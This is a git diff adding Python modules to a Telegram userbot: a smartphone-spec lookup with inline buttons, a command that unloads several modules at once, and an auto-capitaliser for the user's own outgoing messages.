"platform": "⚙️ <b>Платформа</b>:\n ОС: {}\n Чипсет: {}\n CPU: {}\n GPU: {}\n",
|
||||
"memory": "💾 <b>Память</b>:\n Карта памяти: {}\n Внутренняя: {}\n Прочее: {}\n",
|
||||
"main_camera": "📷 <b>Основная камера</b>:\n Модули: {}\n Функции: {}\n Видео: {}\n",
|
||||
"selfie_camera": "🤳 <b>Фронтальная камера</b>:\n Модули: {}\n Функции: {}\n Видео: {}\n",
|
||||
"sound": "🔊 <b>Звук</b>:\n Динамик: {}\n Аудиоразъём: {}\n Прочее: {}\n",
|
||||
"comms": "🌐 <b>Связь</b>:\n Wi-Fi: {}\n Bluetooth: {}\n GPS: {}\n NFC: {}\n Инфракрасный порт: {}\n Радио: {}\n USB: {}\n",
|
||||
"sensors": "🛠️ <b>Датчики</b>: {}\n",
|
||||
"battery": "🔋 <b>Батарея</b>:\n Тип: {}\n Зарядка: {}\n",
|
||||
"misc": "🎨 <b>Разное</b>:\n Цвета: {}\n Модели: {}\n",
|
||||
"show_body": "📏 Корпус",
|
||||
"show_memory": "💾 Память",
|
||||
"show_cameras": "📷 Камеры",
|
||||
"show_sound": "🔊 Звук",
|
||||
"show_comms": "🌐 Связь",
|
||||
"show_sensors": "🛠️ Датчики",
|
||||
"show_misc": "🎨 Разное",
|
||||
"next_photo": "▶️ След. фото",
|
||||
"prev_photo": "◀️ Пред. фото",
|
||||
"back": "🔙 Назад",
|
||||
"back_to_device": "🔙 К устройству",
|
||||
"config_saved": "✅ Конфигурация сохранена!",
|
||||
"retrying": "🔄 Повторяю запрос... (попытка {}/{} )"
|
||||
}
|
||||
|
||||
strings = {
|
||||
"name": "DeviceInfo",
|
||||
"searching": "🔍 Searching devices for: <b>{}</b>...",
|
||||
"no_query": "❌ Specify a device name! Example: <code>.di iPhone 15</code>",
|
||||
"no_results": "📭 No devices found for query: <b>{}</b>",
|
||||
"device_list": "📱 Found {} devices for query <b>{}</b>:",
|
||||
"device_info": "📱 <b>{}</b>\n\n{}",
|
||||
"error": "❌ Error: {}. Try again later or check the API.",
|
||||
"network": "📡 <b>Network</b>: {}\n",
|
||||
"launched": "📅 <b>Launch</b>:\n Announced: {}\n Status: {}\n",
|
||||
"body": "📏 <b>Body</b>:\n Dimensions: {}\n Weight: {}\n SIM: {}\n Other: {}\n",
|
||||
"display": "🖥️ <b>Display</b>:\n Type: {}\n Size: {}\n Resolution: {}\n Protection: {}\n",
|
||||
"platform": "⚙️ <b>Platform</b>:\n OS: {}\n Chipset: {}\n CPU: {}\n GPU: {}\n",
|
||||
"memory": "💾 <b>Memory</b>:\n Card slot: {}\n Internal: {}\n Other: {}\n",
|
||||
"main_camera": "📷 <b>Main Camera</b>:\n Modules: {}\n Features: {}\n Video: {}\n",
|
||||
"selfie_camera": "🤳 <b>Selfie Camera</b>:\n Modules: {}\n Features: {}\n Video: {}\n",
|
||||
"sound": "🔊 <b>Sound</b>:\n Loudspeaker: {}\n Audio Jack: {}\n Other: {}\n",
|
||||
"comms": "🌐 <b>Comms</b>:\n Wi-Fi: {}\n Bluetooth: {}\n GPS: {}\n NFC: {}\n Infrared: {}\n Radio: {}\n USB: {}\n",
|
||||
"sensors": "🛠️ <b>Sensors</b>: {}\n",
|
||||
"battery": "🔋 <b>Battery</b>:\n Type: {}\n Charging: {}\n",
|
||||
"misc": "🎨 <b>Misc</b>:\n Colors: {}\n Models: {}\n",
|
||||
"show_body": "📏 Body",
|
||||
"show_memory": "💾 Memory",
|
||||
"show_cameras": "📷 Cameras",
|
||||
"show_sound": "🔊 Sound",
|
||||
"show_comms": "🌐 Comms",
|
||||
"show_sensors": "🛠️ Sensors",
|
||||
"show_misc": "🎨 Misc",
|
||||
"next_photo": "▶️ Next Photo",
|
||||
"prev_photo": "◀️ Prev Photo",
|
||||
"back": "🔙 Back",
|
||||
"back_to_device": "🔙 To Device",
|
||||
"config_saved": "✅ Configuration saved!",
|
||||
"retrying": "🔄 Retrying request... (attempt {}/{})"
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
self.config = loader.ModuleConfig(
|
||||
loader.ConfigValue(
|
||||
"api_base_url",
|
||||
"https://mobilespecs.fiksofficial.fun",
|
||||
lambda: "API Url",
|
||||
validator=loader.validators.String()
|
||||
),
|
||||
loader.ConfigValue(
|
||||
"max_results",
|
||||
20,
|
||||
lambda: "Maximum search results to display",
|
||||
validator=loader.validators.Integer(minimum=1, maximum=50)
|
||||
),
|
||||
loader.ConfigValue(
|
||||
"timeout",
|
||||
10,
|
||||
lambda: "Timeout for API requests (seconds)",
|
||||
validator=loader.validators.Integer(minimum=5, maximum=30)
|
||||
),
|
||||
loader.ConfigValue(
|
||||
"retry_attempts",
|
||||
3,
|
||||
lambda: "Number of retry attempts for API requests",
|
||||
validator=loader.validators.Integer(minimum=1, maximum=5)
|
||||
)
|
||||
)
|
||||
self.cache = TTLCache(maxsize=100, ttl=300)
|
||||
self.session: aiohttp.ClientSession = None
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
"""Initialize aiohttp session on client ready"""
|
||||
self.session = aiohttp.ClientSession(
|
||||
timeout=aiohttp.ClientTimeout(total=self.config["timeout"])
|
||||
)
|
||||
logger.info("DeviceInfo: aiohttp session initialized")
|
||||
self.client = client
|
||||
|
||||
async def on_unload(self):
|
||||
"""Close aiohttp session on module unload"""
|
||||
if self.session:
|
||||
await self.session.close()
|
||||
logger.info("DeviceInfo: aiohttp session closed")
|
||||
|
||||
async def _resolve_entity(self, call: InlineMessage, message_id: int, chat_id: int = None):
|
||||
"""Resolve Telegram entity to Message or int"""
|
||||
if hasattr(call, "message") and call.message:
|
||||
logger.debug("DeviceInfo: Using call.message")
|
||||
return call.message
|
||||
if chat_id:
|
||||
logger.warning(f"DeviceInfo: call.message is None, falling back to chat_id {chat_id}")
|
||||
return chat_id
|
||||
logger.warning(f"DeviceInfo: call.message and chat_id are None, falling back to message_id {message_id}")
|
||||
return message_id
|
||||
|
||||
async def _fetch_json(self, endpoint: str, params: Dict[str, Any] = None) -> Any:
|
||||
"""Fetch JSON from API with retry and caching"""
|
||||
cache_key = f"{endpoint}_{params}" if params else endpoint
|
||||
if cache_key in self.cache:
|
||||
logger.debug(f"Cache hit for {cache_key}")
|
||||
return self.cache[cache_key]
|
||||
|
||||
url = f"{self.config['api_base_url']}/gsm/{endpoint}"
|
||||
params_clean = {k: v for k, v in (params or {}).items() if k != "message"}
|
||||
for attempt in range(1, self.config["retry_attempts"] + 1):
|
||||
try:
|
||||
async with self.session.get(url, params=params_clean or None) as resp:
|
||||
if resp.status != 200:
|
||||
error_text = await resp.text()
|
||||
logger.error(f"DeviceInfo: HTTP {resp.status} for {url}: {error_text}")
|
||||
raise aiohttp.ClientError(f"HTTP {resp.status}: {error_text}")
|
||||
content_type = resp.headers.get("Content-Type", "")
|
||||
if "application/json" not in content_type:
|
||||
error_text = await resp.text()
|
||||
logger.error(f"DeviceInfo: Invalid content-type {content_type} for {url}: {error_text}")
|
||||
raise ValueError(f"Invalid content-type: {content_type}")
|
||||
data = await resp.json()
|
||||
if data is None:
|
||||
error_text = await resp.text()
|
||||
logger.error(f"DeviceInfo: API returned None for {url}: {error_text}")
|
||||
if endpoint.startswith("search"):
|
||||
data = []
|
||||
else:
|
||||
data = {}
|
||||
if not isinstance(data, (list, dict)):
|
||||
logger.error(f"DeviceInfo: Unexpected API response type for {url}: {type(data)}")
|
||||
raise ValueError(f"Unexpected API response type: {type(data)}")
|
||||
self.cache[cache_key] = data
|
||||
logger.debug(f"Cache set for {cache_key}")
|
||||
return data
|
||||
except (aiohttp.ClientError, asyncio.TimeoutError, ValueError) as e:
|
||||
logger.warning(f"DeviceInfo: Request failed for {endpoint} (attempt {attempt}): {e}")
|
||||
if attempt < self.config["retry_attempts"]:
|
||||
if params and "message" in params:
|
||||
await utils.answer(params["message"], self.strings["retrying"].format(attempt, self.config["retry_attempts"]))
|
||||
await asyncio.sleep(2 * attempt)
|
||||
else:
|
||||
logger.error(f"DeviceInfo: API failed after {self.config['retry_attempts']} attempts: {e}")
|
||||
if endpoint.startswith("search"):
|
||||
return []
|
||||
return {}
|
||||
|
||||
def _format_essential_info(self, device: Dict[str, Any]) -> str:
|
||||
"""Format essential device info (name, network, launch, display, platform, battery)"""
|
||||
info_text = ""
|
||||
if "network" in device:
|
||||
info_text += self.strings["network"].format(device.get("network", "N/A"))
|
||||
if "launced" in device:
|
||||
info_text += self.strings["launched"].format(
|
||||
device["launced"].get("announced", "N/A"),
|
||||
device["launced"].get("status", "N/A")
|
||||
)
|
||||
if "display" in device:
|
||||
info_text += self.strings["display"].format(
|
||||
device["display"].get("type", "N/A"),
|
||||
device["display"].get("size", "N/A"),
|
||||
device["display"].get("resolution", "N/A"),
|
||||
device["display"].get("protection", "N/A")
|
||||
)
|
||||
if "platform" in device:
|
||||
info_text += self.strings["platform"].format(
|
||||
device["platform"].get("os", "N/A"),
|
||||
device["platform"].get("chipset", "N/A"),
|
||||
device["platform"].get("cpu", "N/A"),
|
||||
device["platform"].get("gpu", "N/A")
|
||||
)
|
||||
if "battery" in device:
|
||||
info_text += self.strings["battery"].format(
|
||||
device["battery"].get("battType", "N/A"),
|
||||
device["battery"].get("charging", "N/A")
|
||||
)
|
||||
return info_text
|
||||
|
||||
def _format_section(self, section: str, device: Dict[str, Any]) -> str:
|
||||
"""Format a specific section of device info"""
|
||||
if section == "body" and "body" in device:
|
||||
return self.strings["body"].format(
|
||||
device["body"].get("dimension", "N/A"),
|
||||
device["body"].get("weight", "N/A"),
|
||||
device["body"].get("sim", "N/A"),
|
||||
device["body"].get("other", "N/A")
|
||||
)
|
||||
if section == "memory" and "memory" in device:
|
||||
memory = {item.get("label", ""): item.get("value", "N/A") for item in device.get("memory", [])}
|
||||
return self.strings["memory"].format(
|
||||
memory.get("card", "N/A"),
|
||||
memory.get("internal", "N/A"),
|
||||
memory.get("otherMemory", "N/A")
|
||||
)
|
||||
if section == "cameras":
|
||||
cam_text = ""
|
||||
if "mainCamera" in device:
|
||||
cam_text += self.strings["main_camera"].format(
|
||||
device["mainCamera"].get("mainModules", "N/A"),
|
||||
device["mainCamera"].get("mainFeatures", "N/A"),
|
||||
device["mainCamera"].get("mainVideo", "N/A")
|
||||
)
|
||||
if "selfieCamera" in device:
|
||||
cam_text += self.strings["selfie_camera"].format(
|
||||
device["selfieCamera"].get("selfieModules", "N/A"),
|
||||
device["selfieCamera"].get("selfieFeatures", "N/A"),
|
||||
device["selfieCamera"].get("selfieVideo", "N/A")
|
||||
)
|
||||
return cam_text
|
||||
if section == "sound" and "sound" in device:
|
||||
return self.strings["sound"].format(
|
||||
device["sound"].get("loudSpeaker", "N/A"),
|
||||
device["sound"].get("audioJack", "N/A"),
|
||||
device["sound"].get("otherSound", "N/A")
|
||||
)
|
||||
if section == "comms" and "comms" in device:
|
||||
return self.strings["comms"].format(
|
||||
device["comms"].get("wlan", "N/A"),
|
||||
device["comms"].get("bluetooth", "N/A"),
|
||||
device["comms"].get("gps", "N/A"),
|
||||
device["comms"].get("nfc", "N/A"),
|
||||
device["comms"].get("infrared", "N/A"),
|
||||
device["comms"].get("radio", "N/A"),
|
||||
device["comms"].get("usb", "N/A")
|
||||
)
|
||||
if section == "sensors" and "sensors" in device:
|
||||
return self.strings["sensors"].format(device.get("sensors", "N/A"))
|
||||
if section == "misc" and "misc" in device:
|
||||
return self.strings["misc"].format(
|
||||
device["misc"].get("colors", "N/A"),
|
||||
device["misc"].get("models", "N/A")
|
||||
)
|
||||
return "N/A"
|
||||
|
||||
@loader.command(ru_doc="(.di) <название устройства> - Получить информацию о смартфоне", alias="di")
|
||||
async def deviceinfo(self, message):
|
||||
"""(.di) <device name> - Get smartphone info by name"""
|
||||
query = utils.get_args_raw(message).strip()
|
||||
if not query:
|
||||
await utils.answer(message, self.strings["no_query"])
|
||||
return
|
||||
|
||||
await utils.answer(message, self.strings["searching"].format(query))
|
||||
try:
|
||||
devices = await self._fetch_json("search", {"q": query, "message": message})
|
||||
if not devices:
|
||||
await utils.answer(message, self.strings["no_results"].format(query))
|
||||
return
|
||||
|
||||
devices = devices[:self.config["max_results"]]
|
||||
button_rows = [[{"text": device["name"], "callback": self.show_device_info, "args": [device["id"], query, message.id, message.chat_id, 0, None]}] for device in devices]
|
||||
await self.inline.list(
|
||||
message=message,
|
||||
strings=[self.strings["device_list"].format(len(devices), query)],
|
||||
custom_buttons=button_rows,
|
||||
ttl=60,
|
||||
force_me=True,
|
||||
manual_security=True,
|
||||
silent=True
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DeviceInfo: Failed to fetch search results: {e}")
|
||||
await utils.answer(message, self.strings["error"].format(str(e)))
|
||||
|
||||
async def show_device_info(self, call: InlineMessage, device_id: str, query: str, message_id: int, chat_id: int, photo_idx: int, prev_call_id: str = None):
|
||||
"""Handle device selection and show essential info with buttons for details"""
|
||||
message = await self._resolve_entity(call, message_id, chat_id)
|
||||
|
||||
try:
|
||||
device = await self._fetch_json(f"info/{device_id}", {"message": message})
|
||||
if not device:
|
||||
raise ValueError("No device info returned")
|
||||
images_data = await self._fetch_json(f"images/{device_id}", {"message": message})
|
||||
images = images_data.get("images", []) if isinstance(images_data, dict) else []
|
||||
|
||||
info_text = self._format_essential_info(device)
|
||||
full_text = self.strings["device_info"].format(device.get("name", "N/A"), info_text)
|
||||
|
||||
# Truncate for media caption (Telegram limit: 1024 chars)
|
||||
caption = full_text[:1024] + ("..." if len(full_text) > 1024 else "") if images else full_text
|
||||
logger.debug(f"DeviceInfo: Caption length: {len(caption)} characters, photo_idx: {photo_idx}")
|
||||
|
||||
# Buttons for additional sections and photo navigation
|
||||
buttons = [
|
||||
[
|
||||
{"text": self.strings["show_body"], "callback": self.show_section, "args": ["body", device_id, query, message_id, chat_id, photo_idx]},
|
||||
{"text": self.strings["show_memory"], "callback": self.show_section, "args": ["memory", device_id, query, message_id, chat_id, photo_idx]},
|
||||
],
|
||||
[
|
||||
{"text": self.strings["show_cameras"], "callback": self.show_section, "args": ["cameras", device_id, query, message_id, chat_id, photo_idx]},
|
||||
{"text": self.strings["show_sound"], "callback": self.show_section, "args": ["sound", device_id, query, message_id, chat_id, photo_idx]},
|
||||
],
|
||||
[
|
||||
{"text": self.strings["show_comms"], "callback": self.show_section, "args": ["comms", device_id, query, message_id, chat_id, photo_idx]},
|
||||
{"text": self.strings["show_sensors"], "callback": self.show_section, "args": ["sensors", device_id, query, message_id, chat_id, photo_idx]},
|
||||
],
|
||||
[
|
||||
{"text": self.strings["show_misc"], "callback": self.show_section, "args": ["misc", device_id, query, message_id, chat_id, photo_idx]},
|
||||
],
|
||||
[
|
||||
{"text": self.strings["prev_photo"], "callback": self.show_device_info, "args": [device_id, query, message_id, chat_id, max(0, photo_idx - 1), call.id]} if photo_idx > 0 else None,
|
||||
{"text": self.strings["next_photo"], "callback": self.show_device_info, "args": [device_id, query, message_id, chat_id, min(len(images) - 1, photo_idx + 1), call.id]} if images and photo_idx < len(images) - 1 else None,
|
||||
{"text": self.strings["back"], "callback": self.back_to_search, "args": [query, message_id, chat_id]},
|
||||
]
|
||||
]
|
||||
# Filter out None buttons
|
||||
buttons = [[btn for btn in row if btn] for row in buttons if any(row)]
|
||||
|
||||
# Always edit the message (for device selection or photo navigation)
|
||||
logger.debug(f"DeviceInfo: Editing message for device_id: {device_id}, photo_idx: {photo_idx}, call_id: {call.id}")
|
||||
await call.edit(
|
||||
text=caption,
|
||||
reply_markup=buttons,
|
||||
photo=images[photo_idx] if images else None,
|
||||
disable_web_page_preview=True
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DeviceInfo: Failed to show device info: {e}")
|
||||
await call.edit(
|
||||
text=self.strings["error"].format(str(e)),
|
||||
reply_markup=[],
|
||||
disable_web_page_preview=True
|
||||
)
|
||||
|
||||
async def show_section(self, call: InlineMessage, section: str, device_id: str, query: str, message_id: int, chat_id: int, photo_idx: int):
|
||||
"""Show a specific section of device info"""
|
||||
message = await self._resolve_entity(call, message_id, chat_id)
|
||||
|
||||
try:
|
||||
device = await self._fetch_json(f"info/{device_id}", {"message": message})
|
||||
if not device:
|
||||
raise ValueError("No device info returned")
|
||||
|
||||
section_text = self._format_section(section, device)
|
||||
full_text = self.strings["device_info"].format(device.get("name", "N/A"), section_text)
|
||||
|
||||
# Truncate for Telegram message limit (4000 chars)
|
||||
full_text = full_text[:4000] + ("..." if len(full_text) > 4000 else "")
|
||||
|
||||
# Buttons for returning to device info
|
||||
buttons = [
|
||||
[{"text": self.strings["back_to_device"], "callback": self.show_device_info, "args": [device_id, query, message_id, chat_id, photo_idx, call.id]}]
|
||||
]
|
||||
|
||||
# Try to edit the message
|
||||
try:
|
||||
logger.debug(f"DeviceInfo: Editing message for section: {section}, call_id: {call.id}")
|
||||
await call.edit(
|
||||
text=full_text,
|
||||
reply_markup=buttons,
|
||||
photo=None, # Sections don't include photos to avoid media/text mismatch
|
||||
disable_web_page_preview=True
|
||||
)
|
||||
except Exception as edit_error:
|
||||
logger.warning(f"DeviceInfo: Failed to edit message for section {section}: {edit_error}")
|
||||
# Fallback to new inline form if edit fails
|
||||
await self.inline.form(
|
||||
text=full_text,
|
||||
message=message,
|
||||
reply_markup=buttons,
|
||||
ttl=300,
|
||||
force_me=True,
|
||||
silent=True
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DeviceInfo: Failed to show section {section}: {e}")
|
||||
try:
|
||||
await call.edit(
|
||||
text=self.strings["error"].format(str(e)),
|
||||
reply_markup=[],
|
||||
disable_web_page_preview=True
|
||||
)
|
||||
except Exception as edit_error:
|
||||
logger.warning(f"DeviceInfo: Failed to edit error message: {edit_error}")
|
||||
await self.inline.form(
|
||||
text=self.strings["error"].format(str(e)),
|
||||
message=message,
|
||||
silent=True
|
||||
)
|
||||
|
||||
async def back_to_search(self, call: InlineMessage, query: str, message_id: int, chat_id: int):
|
||||
"""Handle 'Back' button to return to search results"""
|
||||
message = await self._resolve_entity(call, message_id, chat_id)
|
||||
|
||||
try:
|
||||
devices = await self._fetch_json("search", {"q": query, "message": message})
|
||||
logger.debug(f"DeviceInfo: Fetched {len(devices)} devices for query: {query}")
|
||||
if not devices:
|
||||
logger.warning(f"DeviceInfo: No devices found for query: {query}")
|
||||
try:
|
||||
await call.edit(
|
||||
text=self.strings["no_results"].format(query),
|
||||
reply_markup=[],
|
||||
photo=None, # Explicitly remove any existing photo
|
||||
disable_web_page_preview=True
|
||||
)
|
||||
except Exception as edit_error:
|
||||
logger.warning(f"DeviceInfo: Failed to edit no_results message: {edit_error}")
|
||||
await self.inline.form(
|
||||
text=self.strings["no_results"].format(query),
|
||||
message=message,
|
||||
silent=True
|
||||
)
|
||||
return
|
||||
|
||||
devices = devices[:self.config["max_results"]]
|
||||
button_rows = [[{"text": device["name"], "callback": self.show_device_info, "args": [device["id"], query, message_id, chat_id, 0, None]}] for device in devices]
|
||||
list_text = self.strings["device_list"].format(len(devices), query)
|
||||
|
||||
# Try to edit the message
|
||||
try:
|
||||
logger.debug(f"DeviceInfo: Editing message for back_to_search, query: {query}, call_id: {call.id}")
|
||||
await call.edit(
|
||||
text=list_text,
|
||||
reply_markup=button_rows,
|
||||
photo=None, # Explicitly remove any existing photo
|
||||
disable_web_page_preview=True
|
||||
)
|
||||
except Exception as edit_error:
|
||||
logger.warning(f"DeviceInfo: Failed to edit back_to_search message: {edit_error}")
|
||||
await self.inline.list(
|
||||
message=message_id,
|
||||
strings=[list_text],
|
||||
custom_buttons=button_rows,
|
||||
ttl=60,
|
||||
force_me=True,
|
||||
manual_security=True,
|
||||
silent=True
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DeviceInfo: Failed to return to search: {e}")
|
||||
try:
|
||||
await call.edit(
|
||||
text=self.strings["error"].format(str(e)),
|
||||
reply_markup=[],
|
||||
photo=None, # Explicitly remove any existing photo
|
||||
disable_web_page_preview=True
|
||||
)
|
||||
except Exception as edit_error:
|
||||
logger.warning(f"DeviceInfo: Failed to edit error message: {edit_error}")
|
||||
await self.inline.form(
|
||||
text=self.strings["error"].format(str(e)),
|
||||
message=message,
|
||||
silent=True
|
||||
)
|
||||
@@ -16,4 +16,8 @@ githubinfo
|
||||
qrgen
|
||||
wiki
|
||||
checkhost
|
||||
createavatarspack
|
||||
createavatarspack
|
||||
multiunloadmodule
|
||||
tagall2.0
|
||||
point
|
||||
deviceinfo
|
||||
@@ -2,6 +2,8 @@
|
||||
# https://github.com/all-licenses/GNU-General-Public-License-v3.0
|
||||
|
||||
# meta developer: @PyModule
|
||||
# requires: lyricsgenius===3.7.0
|
||||
|
||||
from lyricsgenius import Genius
|
||||
from .. import loader, utils
|
||||
|
||||
|
||||
68
fiksofficial/python-modules/multiunloadmodule.py
Normal file
68
fiksofficial/python-modules/multiunloadmodule.py
Normal file
@@ -0,0 +1,68 @@
|
||||
# ______ ___ ___ _ _
|
||||
# ____ | ___ \ | \/ | | | | |
|
||||
# / __ \| |_/ / _| . . | ___ __| |_ _| | ___
|
||||
# / / _` | __/ | | | |\/| |/ _ \ / _` | | | | |/ _ \
|
||||
# | | (_| | | | |_| | | | | (_) | (_| | |_| | | __/
|
||||
# \ \__,_\_| \__, \_| |_/\___/ \__,_|\__,_|_|\___|
|
||||
# \____/ __/ |
|
||||
# |___/
|
||||
|
||||
# На модуль распространяется лицензия "GNU General Public License v3.0"
|
||||
# https://github.com/all-licenses/GNU-General-Public-License-v3.0
|
||||
|
||||
# meta developer: @pymodule
|
||||
# requires: asyncio
|
||||
|
||||
from .. import loader, utils
|
||||
import asyncio
|
||||
|
||||
|
||||
@loader.tds
|
||||
class MultiUnloadModule(loader.Module):
|
||||
"""Unloads several modules at once with one command"""
|
||||
|
||||
strings = {
|
||||
"name": "MultiUnloadModule",
|
||||
"processing": "<b>Выгружаю модули...</b>",
|
||||
"done": "<b>Выгрузка завершена.</b>",
|
||||
"no_modules": "<b>Укажите хотя бы один модуль.</b>",
|
||||
"progress": "<b>Выгружаю ({current}/{total}):</b> <code>{module}</code>",
|
||||
"error": "<b>Ошибка при выгрузке {mod}:</b> {e}",
|
||||
}
|
||||
|
||||
strings_ru = {
|
||||
"processing": "<b>Выгружаю модули...</b>",
|
||||
"done": "<b>Выгрузка завершена.</b>",
|
||||
"no_modules": "<b>Укажите хотя бы один модуль.</b>",
|
||||
"progress": "<b>Выгружаю ({current}/{total}):</b> <code>{module}</code>",
|
||||
"error": "<b>Error unloading {mod}:</b> {e}",
|
||||
}
|
||||
|
||||
@loader.command(ru_doc="{модули через запятую} — выгрузить несколько модулей")
|
||||
async def mulm(self, message):
|
||||
"""{modules separated by commas} - unload multiple modules"""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args:
|
||||
await utils.answer(message, self.strings("no_modules"))
|
||||
return
|
||||
|
||||
modules = [m.strip() for m in args.split(",") if m.strip()]
|
||||
if not modules:
|
||||
await utils.answer(message, self.strings("no_modules"))
|
||||
return
|
||||
|
||||
total = len(modules)
|
||||
|
||||
for i, mod in enumerate(modules, start=1):
|
||||
await message.edit(self.strings("progress").format(
|
||||
current=i,
|
||||
total=total,
|
||||
module=mod
|
||||
))
|
||||
try:
|
||||
await self.invoke("unloadmod", mod, message=message)
|
||||
except ValueError as e:
|
||||
await message.edit(self.strings("error").format(mod=mod, e=e))
|
||||
await asyncio.sleep(1)
|
||||
|
||||
await message.edit(self.strings("done"))
|
||||
160
fiksofficial/python-modules/point.py
Normal file
160
fiksofficial/python-modules/point.py
Normal file
@@ -0,0 +1,160 @@
|
||||
# ______ ___ ___ _ _
|
||||
# ____ | ___ \ | \/ | | | | |
|
||||
# / __ \| |_/ / _| . . | ___ __| |_ _| | ___
|
||||
# / / _` | __/ | | | |\/| |/ _ \ / _` | | | | |/ _ \
|
||||
# | | (_| | | | |_| | | | | (_) | (_| | |_| | | __/
|
||||
# \ \__,_\_| \__, \_| |_/\___/ \__,_|\__,_|_|\___|
|
||||
# \____/ __/ |
|
||||
# |___/
|
||||
|
||||
# На модуль распространяется лицензия "GNU General Public License v3.0"
|
||||
# https://github.com/all-licenses/GNU-General-Public-License-v3.0
|
||||
|
||||
# meta developer: @pymodule
|
||||
|
||||
from .. import loader, utils
|
||||
|
||||
|
||||
@loader.tds
|
||||
class PointSentenceCaseMod(loader.Module):
|
||||
"""Automatically capitalizes the first letter of each sentence and adds a period at the end of the message (if there isn't one)."""
|
||||
|
||||
strings = {
|
||||
"name": "PointSentenceCase",
|
||||
"enabled": "<b>The module is activated ✅</b>",
|
||||
"disabled": "<b>The module is deactivated ❌</b>",
|
||||
"status": "Current status: {status}\nIgnore channels: {ignore_channels}\n\nUsage:\n<code>.pointcase on|off</code>\n<code>.pointcaseignore on|off</code>",
|
||||
"status_on": "✅ Enabled",
|
||||
"status_off": "❌ Off",
|
||||
"ignore_on": "✅ Ignoring channels",
|
||||
"ignore_off": "❌ Not ignoring channels",
|
||||
}
|
||||
|
||||
strings_ru = {
|
||||
"_cls_doc": "Автоматически делает первую букву каждого предложения заглавной и добавляет точку в конце сообщения (если её нет).",
|
||||
"enabled": "<b>Модуль активирован ✅</b>",
|
||||
"disabled": "<b>Модуль деактивирован ❌</b>",
|
||||
"status": "Текущий статус: {status}\nИгнорировать каналы: {ignore_channels}\n\nИспользование:\n<code>.pointcase on|off</code>\n<code>.pointcaseignore on|off</code>",
|
||||
"status_on": "✅ Включен",
|
||||
"status_off": "❌ Выключен",
|
||||
"ignore_on": "✅ Каналы игнорируются",
|
||||
"ignore_off": "❌ Каналы не игнорируются",
|
||||
}
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self.client = client
|
||||
self.db = db
|
||||
if self.db.get("PointSentenceCase", "enabled") is None:
|
||||
self.db.set("PointSentenceCase", "enabled", True)
|
||||
if self.db.get("PointSentenceCase", "ignore_channels") is None:
|
||||
self.db.set("PointSentenceCase", "ignore_channels", True)
|
||||
|
||||
@loader.command(ru_doc="{on/off} — включает/выключает модуль")
|
||||
async def pointcase(self, message):
|
||||
"""{on/off} - enables/disables the module"""
|
||||
args = utils.get_args_raw(message).lower()
|
||||
|
||||
if args == "on":
|
||||
self.db.set("PointSentenceCase", "enabled", True)
|
||||
await utils.answer(message, self.strings("enabled"))
|
||||
elif args == "off":
|
||||
self.db.set("PointSentenceCase", "enabled", False)
|
||||
await utils.answer(message, self.strings("disabled"))
|
||||
else:
|
||||
status = self.db.get("PointSentenceCase", "enabled", True)
|
||||
ignore = self.db.get("PointSentenceCase", "ignore_channels", True)
|
||||
await utils.answer(
|
||||
message,
|
||||
self.strings("status").format(
|
||||
status=self.strings("status_on") if status else self.strings("status_off"),
|
||||
ignore_channels=self.strings("ignore_on") if ignore else self.strings("ignore_off"),
|
||||
),
|
||||
)
|
||||
|
||||
@loader.command(ru_doc="{on/off} — включает/выключает игнорирование каналов")
|
||||
async def pointcaseignore(self, message):
|
||||
"""{on/off} - enables/disables ignoring channels"""
|
||||
args = utils.get_args_raw(message).lower()
|
||||
|
||||
if args == "on":
|
||||
self.db.set("PointSentenceCase", "ignore_channels", True)
|
||||
await utils.answer(message, self.strings("ignore_on"))
|
||||
elif args == "off":
|
||||
self.db.set("PointSentenceCase", "ignore_channels", False)
|
||||
await utils.answer(message, self.strings("ignore_off"))
|
||||
else:
|
||||
ignore = self.db.get("PointSentenceCase", "ignore_channels", True)
|
||||
await utils.answer(
|
||||
message,
|
||||
self.strings("ignore_on") if ignore else self.strings("ignore_off"),
|
||||
)
|
||||
|
||||
async def watcher(self, message):
|
||||
if not self.db.get("PointSentenceCase", "enabled", True):
|
||||
return
|
||||
|
||||
if not message.out or not message.text:
|
||||
return
|
||||
|
||||
if self.db.get("PointSentenceCase", "ignore_channels", True):
|
||||
try:
|
||||
peer = await message.get_chat()
|
||||
if getattr(peer, "is_channel", False) and not getattr(peer, "is_group", False):
|
||||
return
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
text = message.text.strip()
|
||||
if not text:
|
||||
return
|
||||
|
||||
prefixes = self.get_prefix()
|
||||
if isinstance(prefixes, str):
|
||||
prefixes = [prefixes]
|
||||
|
||||
if any(text.startswith(prefix) for prefix in prefixes):
|
||||
return
|
||||
|
||||
sentence_end_marks = {".", "!", "?", "…"}
|
||||
result = ""
|
||||
capitalize_next = True
|
||||
|
||||
for char in text:
|
||||
if capitalize_next and char.isalpha():
|
||||
result += char.upper()
|
||||
capitalize_next = False
|
||||
else:
|
||||
result += char.lower()
|
||||
if char in sentence_end_marks:
|
||||
capitalize_next = True
|
||||
elif char in {",", ":", "-", "#", "/", '"'}:
|
||||
capitalize_next = False
|
||||
|
||||
last_char = result[-1] if result else ""
|
||||
is_special = not last_char.isalnum() and not self.is_emoji(last_char)
|
||||
|
||||
if (
|
||||
result
|
||||
and last_char not in sentence_end_marks
|
||||
and not self.is_emoji(last_char)
|
||||
and not is_special
|
||||
):
|
||||
result += "."
|
||||
|
||||
if result != text:
|
||||
await message.edit(result)
|
||||
|
||||
def is_emoji(self, char: str) -> bool:
|
||||
return any([
|
||||
"\U0001F600" <= char <= "\U0001F64F",
|
||||
"\U0001F300" <= char <= "\U0001F5FF",
|
||||
"\U0001F680" <= char <= "\U0001F6FF",
|
||||
"\U0001F700" <= char <= "\U0001F77F",
|
||||
"\U0001F780" <= char <= "\U0001F7FF",
|
||||
"\U0001F800" <= char <= "\U0001F8FF",
|
||||
"\U0001F900" <= char <= "\U0001F9FF",
|
||||
"\U0001FA00" <= char <= "\U0001FA6F",
|
||||
"\U0001FA70" <= char <= "\U0001FAFF",
|
||||
"\U00002702" <= char <= "\U000027B0",
|
||||
"\U000024C2" <= char <= "\U0001F251",
|
||||
])
|
||||
110
